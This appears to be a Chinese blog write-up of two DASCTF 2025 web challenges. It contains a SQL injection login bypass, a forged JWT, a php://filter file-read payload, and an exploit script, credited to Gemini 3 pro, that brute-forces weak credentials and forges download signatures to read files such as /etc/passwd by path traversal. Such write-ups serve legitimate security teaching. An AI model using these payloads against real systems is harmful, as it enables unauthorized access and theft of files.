DASCTF 2025下半年赛-Web部分WriteUp
我们是冠军!
SecretPhotoGallery
用户名:admin
密码:-1' union select 1,2,3 --+
绕过登录进入
然后查看源码发现注释1,应该是jwt密钥 GALLERY2024SECRET

然后得到admin访问 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3NjQ5OTIyNTR9.bCHvNXksavEel3wGMknzge7Erwp0PySoVx_UpLQnSKs

利用base64 filter发现被ban,使用
php://filter/read=convert.iconv.utf8.utf16/resource=flag.php
得到flag

devweb
Gemini 3 pro一把梭哈
信息收集
首先访问题目链接,发现是一个基于 Vite 构建的前端应用。
通过查看页面源代码或网络请求,我们下载了主 JS 文件 assets/index-BgDOi0T5.js 进行分析。
关键发现
- RSA 公钥与登录逻辑: 在 JS 文件中发现了硬编码的 RSA 公钥。登录逻辑是将密码使用 RSA 加密后发送到后端。
// JS 中发现的公钥(格式化后)
-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=
-----END PUBLIC KEY-----
- 路由与敏感接口: 通过搜索
dashboard和download等关键字,在 JS 中发现了一个文件下载功能的组件定义:
const Fd = {
data() {
return {
fileList: [{ name: "app.jmx" }, { name: "index.html" }]
}
},
methods: {
downloadFile(t) {
// 关键逻辑:下载请求带有 sign 参数
window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
}
}
}
漏洞利用
步骤 1:弱口令登录(非必须但有助于理解)
编写脚本使用 RSA 公钥加密密码,尝试常用弱口令。发现 admin / 123456 可以成功登录,服务器返回 302 跳转到 /dashboard。 虽然访问 /dashboard 返回 404,但我们在 JS 中发现的下载接口 /download 不需要登录态(或者我们已经获得了 Session,但其实这题的核心在于签名绕过)。
步骤 2:获取并分析 app.jmx
JS 代码中泄露了一个合法的文件名和签名组合:
- File:
app.jmx - Sign:
6f742c2e79030435b7edc1d79b8678f6
我们直接访问 http://target/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6 下载该文件。
打开 app.jmx (JMeter 测试计划文件),在其中发现了一段 Groovy 脚本,揭示了签名的生成算法:
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
<hashTree>
<TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
<stringProp name="TestPlan.functional_mode">false</stringProp>
<boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
<elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
<stringProp name="Argument.name">mingWen</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="TestPlan.comments_or_notes"/>
<boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
</TestPlan>
<hashTree>
<ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
<stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
<elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
<boolProp name="LoopController.continue_forever">false</boolProp>
<intProp name="LoopController.loops">1</intProp>
</elementProp>
<stringProp name="ThreadGroup.num_threads">1</stringProp>
<stringProp name="ThreadGroup.ramp_time">1</stringProp>
<longProp name="ThreadGroup.start_time">0</longProp>
<longProp name="ThreadGroup.end_time">0</longProp>
<boolProp name="ThreadGroup.scheduler">false</boolProp>
<stringProp name="ThreadGroup.duration"></stringProp>
<stringProp name="ThreadGroup.delay"></stringProp>
<boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
</ThreadGroup>
<hashTree>
<JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
<stringProp name="JSR223PreProcessor.language">groovy</stringProp>
<stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
<stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
<stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
<stringProp name="JSR223PreProcessor.script">
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
</stringProp>
</JSR223PreProcessor>
<hashTree/>
<HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
<boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
<stringProp name="Comment"/>
<elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
<stringProp name="Argument.name">file</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
<stringProp name="Argument.name">sign</stringProp>
<stringProp name="Argument.value">${sign}</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="HTTPSampler.domain">localhost</stringProp>
<stringProp name="HTTPSampler.port">8080</stringProp>
<stringProp name="HTTPSampler.protocol">http</stringProp>
<stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
<stringProp name="HTTPSampler.path">/download</stringProp>
<stringProp name="HTTPSampler.method">GET</stringProp>
<boolProp name="HTTPSampler.follow_redirects">true</boolProp>
<boolProp name="HTTPSampler.auto_redirects">false</boolProp>
<boolProp name="HTTPSampler.use_keepalive">true</boolProp>
<boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
<stringProp name="HTTPSampler.body_data"/>
<boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
<stringProp name="HTTPSampler.proxy_host"/>
<stringProp name="HTTPSampler.proxy_port"/>
<stringProp name="HTTPSampler.proxy_username"/>
<stringProp name="HTTPSampler.proxy_password"/>
<stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
</HTTPSamplerProxy>
<hashTree/>
</hashTree>
</hashTree>
</hashTree>
</jmeterTestPlan>
步骤 3:重构签名算法与任意文件读取
根据上述逻辑,我们可以编写 Python 脚本来生成任意文件名的签名。
签名算法 (Python 实现):
import hashlib
def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"
# 1. 计算文件名的 MD5
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
# 2. 截取子串 (对应 Java 的 substring(5, 16))
# Python 切片是 [start:end],所以是 [5:16]
jie_str = first_mi[5:16]
# 3. 拼接:MD5 + 子串 + 盐
new_str = first_mi + jie_str + salt
# 4. 最终签名
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
return sign
步骤 4:获取 Flag
利用签名生成脚本,我们尝试目录穿越读取 Flag。
尝试 Payload: ../../flag
- 计算
../../flag的签名。 - 发送请求:
/download?file=../../flag&sign=YOUR_CALCULATED_SIGN
响应内容:
DASCTF{21a8d433-4689-4e8e-9818-9ae50d48243a}}

Gemini 3 pro给的exp
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from urllib.parse import quote
# 加载公钥
with open('public.pem', 'r') as f:
key_data = f.read()
public_key = RSA.importKey(key_data)
cipher = PKCS1_v1_5.new(public_key)
def encrypt_password(password):
# RSA 加密
ciphertext = cipher.encrypt(password.encode('utf-8'))
# 转 Base64
return base64.b64encode(ciphertext).decode('utf-8')
def try_login(username, password_plaintext):
url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
encrypted_pass = encrypt_password(password_plaintext)
# 构造 payload
# 注意 requests 的 data 参数如果是字典,会自动 urlencode
data = {
'username': username,
'password': encrypted_pass
}
try:
response = requests.post(url, data=data, allow_redirects=False)
location = response.headers.get('Location', 'No Location')
print(f"User: {username}, Pass: {password_plaintext} -> Status: {response.status_code}, Loc: {location}")
if response.status_code != 200 and response.status_code != 302:
print(f"Response: {response.text[:200]}")
if "flag" in response.text or "DASCTF" in response.text:
print(f"POSSIBLE FLAG FOUND: {response.text}")
return response
except Exception as e:
print(f"Error: {e}")
# 测试用例
credentials = [
('admin', 'admin'),
('admin', '123456'),
('root', 'root'),
('guest', 'guest'),
('test', 'test')
]
print("Testing common credentials...")
for u, p in credentials:
try_login(u, p)
print("\n--- Exploiting ---")
# 创建 session 保持 cookie
s = requests.Session()
url_login = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/login'
password_plaintext = '123456'
encrypted_pass = encrypt_password(password_plaintext)
data = {
'username': 'admin',
'password': encrypted_pass
}
# 登录
response = s.post(url_login, data=data, allow_redirects=False)
print(f"Login Status: {response.status_code}")
print(f"Location: {response.headers.get('Location')}")
print(f"Cookies: {s.cookies.get_dict()}")
# 如果有 Location,提取并访问
if 'Location' in response.headers:
# Location 返回的是 http://...:80/... 我们需要改成 :81
# 或者直接提取路径
loc = response.headers['Location']
# 修正端口问题,如果 Location 里端口丢了或者不对
if ':81' not in loc and 'buuoj.cn' in loc:
loc = loc.replace('buuoj.cn', 'buuoj.cn:81')
print(f"Accessing: {loc}")
dashboard_response = s.get(loc)
print(f"Dashboard Status: {dashboard_response.status_code}")
print(f"Dashboard Content Preview: {dashboard_response.text[:500]}")
if "flag" in dashboard_response.text or "DASCTF" in dashboard_response.text:
print(f"FLAG FOUND IN DASHBOARD: {dashboard_response.text}")
import hashlib
def calculate_sign(filename):
salt = "f9bc855c9df15ba7602945fb939deefc"
# firstMi = md5(filename)
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
# jieStr = firstMi.substring(5, 16)
# Java substring(5, 16) -> indices 5 to 15
jie_str = first_mi[5:16]
# newStr = firstMi + jieStr + salt
new_str = first_mi + jie_str + salt
# sign = md5(newStr)
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
return sign
# 验证 app.jmx 的签名
expected_sign = "6f742c2e79030435b7edc1d79b8678f6"
calculated_sign = calculate_sign("app.jmx")
print(f"\n--- Sign Verification ---")
print(f"File: app.jmx")
print(f"Expected: {expected_sign}")
print(f"Calculated: {calculated_sign}")
if expected_sign == calculated_sign:
print("Sign algorithm verified!")
else:
print("Sign algorithm mismatch! Check logic.")
def download_file(filename):
print(f"\nAttempting to download {filename}...")
sign = calculate_sign(filename)
download_url = 'http://75c3b11c-475d-4cb4-844e-c544862d54ca.node5.buuoj.cn:81/download'
params = {
'file': filename,
'sign': sign
}
try:
# 使用 session
file_resp = s.get(download_url, params=params)
print(f"Download Status: {file_resp.status_code}")
if file_resp.status_code == 200:
print(f"Content Preview:\n{file_resp.text[:500]}")
if "DASCTF" in file_resp.text or "flag{" in file_resp.text:
print(f"FLAG FOUND: {file_resp.text}")
return True
else:
print(f"Download failed: {file_resp.text}")
return False
except Exception as e:
print(f"Download error: {e}")
return False
# 尝试下载 flag
if expected_sign == calculated_sign:
targets = [
"flag",
"/flag",
"../flag",
"../../flag",
"../../../flag",
"../../../../flag",
"../../../../../../flag",
"/etc/passwd",
"c:/windows/win.ini" # 如果是 Windows
]
for t in targets:
if download_file(t):
break
- Title: DASCTF 2025下半年赛-Web部分WriteUp
- Author: lzz0403
- Created at : 2025-12-08 00:00:00
- Updated at : 2025-12-31 10:31:49
- Link: https://www.cnup.top/2025/12/08/DASCTF 2025下半年赛-Web部分WriteUp/
- License: This work is licensed under CC BY-NC-SA 4.0.